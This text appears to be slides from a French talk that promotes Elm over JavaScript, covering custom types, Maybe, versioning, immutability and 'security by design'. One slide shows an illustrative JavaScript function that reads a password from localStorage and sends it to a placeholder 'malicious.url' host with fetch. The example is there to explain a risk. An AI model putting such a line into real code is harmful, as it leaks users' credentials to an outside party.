@JoGrenat
Remote Mob Programming
On recrute :)
module Main exposing (main)
import Browser
import Html exposing (Html, h1, text)
import Html.Attributes exposing (style)
import Html.Events exposing (onClick)
type alias User =
{ username : String
, elmPreference : ElmPreference
}
type ElmPreference
= LikeElm String
| DontLikeElm
main : Html msg
main =
if userLikeElm you then
h1 [ style "color" "green" ] [ text (you.username ++ ", you like Elm! 🔥") ]
else
h1 [ style "color" "red" ] [ text (you.username ++ ", you don't like Elm?") ]
you : User
you =
{ username = "Jordane"
, elmPreference = LikeElm "very much"
}
userLikeElm : User -> Bool
userLikeElm user =
case user.elmPreference of
LikeElm _ ->
True
DontLikeElm ->
False
1.2.3
Majeure.Mineure.Correctif
let remoteString = null;
let isLoading = true;
let isOnError = false;
type RemoteString =
Loading
| Loaded String
| OnError Int String
const names = ['Fanny', 'Stéphane', 'Jordane'];
const firstName = names[0];
type Maybe a =
Nothing
| Just a
List.head names
-- Just "Fanny"
-- Nothing
const names = [];
const firstName = names[0]; // undefined
(pas en prod)
const people = ['Fanny', 'Stéphane', 'Jordane', 'Evan'];
doSomething(people);
🤔
people.splice(2, 1, 'Lucien');
people.slice(1, 3);
🤪
Penser local
function doSomething(people) {
const password = localStorage.get('password');
fetch('http://malicious.url?password=' + password);
}
😱
const people = List(['Fanny', 'Stéphane', 'Evan']);
doSomething(people);
Sécurité par design
😎
<troll>
</troll>
😍
If it compiles, it works!
Cmd Msg
Runtime